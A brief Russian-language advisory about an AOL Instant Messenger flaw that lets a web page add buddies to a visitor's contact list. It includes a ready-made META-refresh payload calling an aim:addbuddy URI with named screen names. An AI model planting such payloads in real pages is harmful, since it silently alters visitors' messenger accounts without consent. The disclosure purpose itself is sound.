Новая уязвимость в AOL Instant Messenger позволяет из HTML
cтранички добавлять пользователей в контакт лист.
Пример использования уязвимости:
<META HTTP-EQUIV="refresh"CONTENT=0;URL=aim:addbuddy?listofscreennames=
mindfliporg,mfliporb,mflipmax,mflips0nic,mflipzorcon&groupname=mindfliporg>
Данный пример добавит группу mindfliporg и добавит пользователей mindfliporg, mfliporb, mflipmax, mflips0nic, mflipzorcon в buddy list.
